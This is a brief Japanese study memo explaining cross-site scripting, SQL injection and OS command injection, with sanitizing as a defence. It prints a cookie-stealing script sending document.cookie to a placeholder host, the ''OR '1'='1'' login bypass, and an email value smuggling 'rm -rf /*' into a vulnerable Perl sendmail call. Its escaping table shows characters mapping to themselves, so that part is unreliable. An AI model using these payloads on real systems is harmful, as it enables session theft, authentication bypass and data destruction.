メモしとく。
■クロスサイトスクリプティング
悪意のあるJavaScriptコードをページ内に埋め込む手法。
以下の例だと、passwordがhtmlに出力されるとき、単なる文字列としてではなく、HTMLのscriptタグとして扱われる。
そのため、scriptタグ内のJavaScriptが実行されてしまう。
例)
id:hoge
password:
<script>
location.replace('http://ほげほげ.com?cookie=' + document.cookie)
</script>
■SQLインジェクション
SQL文として意味のある文字を(', ;, %, +など)を使用する手法。
以下の例だと、passwordの条件句に論理和が埋め込まれてしまうため、他の条件句が無効となり
無条件でSQL結果が返ってしまう。
例)
id:hoge
password:'OR '1'='1'
select
hoge
,moge
from
user_table
where
id='hoge'
and
password =''OR '1'='1'
■OSコマンドインジェクション
OSのコマンドを埋め込むことで、悪意あるOSコマンドを実行する手法。
よくある例がCGIだと思うので、ここではCGIの代表格(?)のPerlの例を。
以下の例では、メールアドレス登録などで、メールアドレスを入力してもらい、
Perlからunixコマンドのsendmail(メールを送るコマンド)を呼び出します。
サーバーではメールを送信した後に、rm -rf /*(全ファイル・ディレクトリを削除するコマンド)を実行します。
例)
メールアドレス:example@example.com;rm -rf /*
my $hoge_mail = CGI::param('hoge_mail');
open(MAIL, "|/usr/lib/sendmail $hoge_mail");
■サニタイジング
これらを予防するための手法はいくつかありますが、一番簡単なのはサニタイジング(無効化)でしょう。
サニタイジングでは、スクリプトやSQLで意味を持つ文字を無効化する手法です。
& → &
< → <
> → >
" → "
' → '
まぁ、OSインジェクションだと、そもそも外部プログラム実行させないとか実行権限を特別なユーザーだけにするとかしたほうがいいのかも。